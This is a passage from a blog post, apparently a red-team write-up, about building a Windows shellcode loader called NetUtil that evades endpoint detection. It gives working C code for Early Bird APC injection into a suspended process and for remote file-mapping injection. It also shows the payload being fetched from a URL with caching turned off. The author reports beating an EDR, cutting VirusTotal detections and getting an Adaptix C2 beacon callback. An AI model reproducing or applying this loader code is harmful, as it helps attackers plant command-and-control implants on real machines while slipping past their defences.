</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>phProcess	<span style="color:#f92672">=</span> Pi.hProcess;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>phThread	<span style="color:#f92672">=</span> Pi.hThread;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>pdwProcessID <span style="color:#f92672">=</span> Pi.dwProcessId;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// End of Function
</span></span></span><span style="display:flex;"><span>_EoF:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>phProcess <span style="color:#f92672">==</span> NULL <span style="color:#f92672">||</span> <span style="color:#f92672">*</span>phThread <span style="color:#f92672">==</span> NULL)
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> bSTATE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Once the child process is created, to perform APC injection the following code segment is leveraged. While <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code> and <code>VirtualProtectEx</code> are retained to transfer the shellcode to child process&rsquo;s memory, <code>CreateRemoteThread</code> is now replaced by <code>QueueUserAPC</code> thus providing alternative method for execution.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">ScheduleRun</span>(
</span></span><span style="display:flex;"><span>	IN	HANDLE	hProcess,
</span></span><span style="display:flex;"><span>	IN	HANDLE	hThread,
</span></span><span style="display:flex;"><span>	IN	PBYTE	pBlob,
</span></span><span style="display:flex;"><span>	IN	SIZE_T	sBlobSize
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	BOOL	bSTATE <span style="color:#f92672">=</span> TRUE;
</span></span><span style="display:flex;"><span>	PVOID	pAddress <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	DWORD	dwOldProtection <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	SIZE_T	sNumberOfBytesWritten <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pAddress <span style="color:#f92672">=</span> <span style="color:#a6e22e">VirtualAllocEx</span>(hProcess, NULL, sBlobSize, MEM_RESERVE <span style="color:#f92672">|</span> MEM_COMMIT, PAGE_READWRITE);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (pAddress <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;VirtualAllocEx failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">WriteProcessMemory</span>(hProcess, pAddress, pBlob, sBlobSize, <span style="color:#f92672">&amp;</span>sNumberOfBytesWritten) <span style="color:#f92672">||</span> sNumberOfBytesWritten <span style="color:#f92672">!=</span> sBlobSize) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;WriteProcessMemory failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">VirtualProtectEx</span>(hProcess, pAddress, sBlobSize, PAGE_EXECUTE_READ, <span style="color:#f92672">&amp;</span>dwOldProtection)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;VirtualProtectEx failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">QueueUserAPC</span>((PAPCFUNC)pAddress, hThread, NULL)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;QueueUserAPC failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// End of Function
</span></span></span><span style="display:flex;"><span>_EoF:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> bSTATE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>While <code>QueueUserAPC</code> queues the instructions to be executed they are executed only when debugger is removed. Thus the follow appears as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a6e22e">FetchBlob</span>(argv[<span style="color:#ae81ff">1</span>], <span style="color:#f92672">&amp;</span>pBlob, <span style="color:#f92672">&amp;</span>sBlobSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">CreateSuspendedProcess</span>(argv[<span style="color:#ae81ff">2</span>], <span style="color:#f92672">&amp;</span>hProcess, <span style="color:#f92672">&amp;</span>hThread, <span style="color:#f92672">&amp;</span>dwProcessID);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ScheduleRun</span>(hProcess, hThread, pBlob, sBlobSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">DebugActiveProcessStop</span>(dwProcessID);
</span></span></code></pre></div><h3 id="ah-shit-here-we-go-again">Ah shit, here we go again</h3>
<p>Labelling this version as <em>NetUtil3</em> and downloading it on monitored endpoint got me nowhere but back to detection.</p>
<p><img src="./NetUtil3-detection.png" alt="NetUtil3-detection"></p>
<p>But uploading it to VirusTotal showed that the detection score dropped to 13, still one greater than the Adaptix&rsquo;s binary but a siginficant improvemnt in the loader logic nonetheless.</p>
<p><img src="./NetUtil3-virustotal.png" alt="NetUtil3-virustotal"></p>
<h2 id="cartography">Cartography</h2>
<p><code>VirtualAlloc(Ex)</code>, <code>VirtualProtect(Ex)</code> and <code>WriteProcessMemory</code> are highly flagged as an indicator for malicious code and thus I needed alternative for the same. A differnt technique to transfer shellcode is through <strong>Remote File Mapping</strong> injection.</p>
<h3 id="remote-file-mappings-and-injection">Remote File Mappings and Injection</h3>
<p>Remote File Mappings allow to create shared memory regions accessible between different processes. This eliminates the need of <code>VirtualAllocEx</code> to allocate memory in target process. The injection logic can be interepreted as:</p>
<ul>
<li><code>CreateFileMapping</code> allows to create a mapping object i.e. allocate virtual memory backed by a pagefile. As there is no need to load a file, thus I specify <code>INVALID_HANDLE_VALUE</code> for <code>hFile</code> parameter. While I need to provide specify <code>PAGE_EXECUTE_READWRITE</code> for <code>flProtect</code> parameter it dictates this section objects maximum allowable permissions. The map views of the memory page would writable or executable, <em>but separately</em> in the two processes. Thus is does not appear to be a grave issue.</li>
<li><code>MapViewOfFile</code> was used to create a local view of the mapping object and obtain local address for the memory with write access as specified by <code>FILE_MAP_WRITE</code>. Using this address, I wrote the shellcode into the memory.</li>
<li><code>MapViewOfFile2</code> was used to obtain remote address in target process&rsquo;s view of the mapping object. This memory was designated to be executable and thus byte written by local process could be executed by remote process.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">CopyBlob</span>(
</span></span><span style="display:flex;"><span>	IN	HANDLE	hProcess,
</span></span><span style="display:flex;"><span>	IN	PBYTE	pBlob,
</span></span><span style="display:flex;"><span>	IN	SIZE_T	sBlobSize,
</span></span><span style="display:flex;"><span>	OUT	PVOID<span style="color:#f92672">*</span> ppBlobCopyAddress
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	BOOL	bSTATE	<span style="color:#f92672">=</span> TRUE;
</span></span><span style="display:flex;"><span>	HANDLE	hFile	<span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	PVOID	pMapLocalAddress <span style="color:#f92672">=</span> NULL,
</span></span><span style="display:flex;"><span>			pMapRemoteAddress <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	hFile <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFileMapping</span>(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sBlobSize, NULL);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (hFile <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;CreateFileMapping failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EndOfFunction;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pMapLocalAddress <span style="color:#f92672">=</span> <span style="color:#a6e22e">MapViewOfFile</span>(hFile, FILE_MAP_WRITE, NULL, NULL, sBlobSize);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (pMapLocalAddress <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;MapViewOfFile failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EndOfFunction;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">memcpy</span>(pMapLocalAddress, pBlob, sBlobSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pMapRemoteAddress <span style="color:#f92672">=</span> <span style="color:#a6e22e">MapViewOfFile2</span>(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READ);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (pMapRemoteAddress <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;MapViewOfFile2 failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EndOfFunction;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>ppBlobCopyAddress <span style="color:#f92672">=</span> pMapRemoteAddress;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>_EndOfFunction:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (hFile)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">CloseHandle</span>(hFile);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> bSTATE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The parameter <code>ppBlobCopyAddress</code> contains the executable memory&rsquo;s address in the context of the remote process. I pushed this address through Early Bird APC Injection technique discussed earlier into child process for execution.</p>
<h3 id="success-sort-of">Success? Sort of.</h3>
<p>I renamed this version as <em>NetUtil4.exe</em> and downloaded on monitored endpoint. <strong>It wasn&rsquo;t detected</strong>.</p>
<p><img src="./NetUtil4-download-1.png" alt="NetUtil4-download-1"></p>
<p>But I could not run it because being the idiot that I am, I shipped the debug build and executing <em>NetUtil4.exe</em> complained for missing <code>VCRUNTIME140D.dll</code>. Recompiling the release build with <em>Multi-Threaded</em> configuration instead of DLL depedent <em>Multi-Threaded DLL</em> Runtime Library flag and downloading it on monitored endpoint led to a detection.</p>
<p><img src="./VS-runtime-options.png" alt="VS-runtime-options"></p>
<p><img src="./NetUtil4-release-detection.png" alt="NetUtil4-release-detection"></p>
<p>At this moment, I said to myself - <em>One problem at a time</em> and installed the Microsoft Visual C++ Runtime library onto the endpoint (<em>with a promise to explore the alternatives later</em>).</p>
<p>Re-downloading the <em>Mulit-Threaded DLL</em> build lead to no detection.</p>
<p><img src="./NetUtil4-download-2.png" alt="NetUtil4-download-2"></p>
<p>I executed the loader with URL to payload and a process to spawn and hijack for execution on the monitored endpoint and it spawned <code>calc.exe</code>.</p>
<p><img src="./NetUtil4-spawns-calc.png" alt="NetUtil4-spawns-calc"></p>
<p>Next, I replaced the <code>blob.bin</code> from <code>msfvenom</code> payload to beacon shellcode for Adaptix.</p>
<p><img src="./adaptix-c2-create-agent-and-listener.png" alt="adaptix-c2-create-agent-and-listener"></p>
<p>Passing the loader with URL to beacon shellcode I recieved a callback onto the C2 server from the monitored endpoint. I had to add parameter as <code>InternetOpenUrlW</code> cached the URL for <code>blob.bin</code> with <code>msfvenom</code> calc.exe payload, I re-configured that later as explained in following section.</p>
<p><img src="./NetUtil4-adaptix-beacon-execute.png" alt="NetUtil4-adaptix-beacon-execute"></p>
<p><img src="./adaptix-c2-beacon-callback.png" alt="adaptix-c2-beacon-callback"></p>
<p>The VirusTotal score for this version of loader was 6 i.e. half of the original Adaptix C2 beacon executable and almost 1/4th of the original rudimetory loader.</p>
<p>Furthermore, as per VirusTotal Elastic did detect the loader.</p>
<p><img src="./NetUtil4-virustotal.png" alt="NetUtil4-virustotal"></p>
<p>The <code>PDB</code> path contained the original binary name as in the project. The symbols and IAT table would&rsquo;ve been another give away for the loader. I&rsquo;d look at these indicators and more some other day.</p>
<h2 id="the-cache-issue">The Cache Issue</h2>
<p>While appending parameter allowed to bypass the cached version of <code>blob.bin</code>, a permanent solution would be to include the no-cache specific flags in the <code>InternetOpenUrlW</code>&rsquo;s <code>dwFlags</code> parameter.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>	hInternetFile <span style="color:#f92672">=</span> <span style="color:#a6e22e">InternetOpenUrlW</span>(
</span></span><span style="display:flex;"><span>		hInternet,
</span></span><span style="display:flex;"><span>		lpszUrl,
</span></span><span style="display:flex;"><span>		NULL,
</span></span><span style="display:flex;"><span>		NULL,
</span></span><span style="display:flex;"><span>		INTERNET_FLAG_HYPERLINK <span style="color:#f92672">|</span> INTERNET_FLAG_RELOAD <span style="color:#f92672">|</span> INTERNET_FLAG_NO_CACHE_WRITE <span style="color:#f92672">|</span> INTERNET_FLAG_PRAGMA_NOCACHE,
</span></span><span style="display:flex;"><span>		NULL
</span></span><span style="display:flex;"><span>	);
</span></span></code></pre></div>]]></description>
      
    </item>
    
    
  </channel>
</rss>
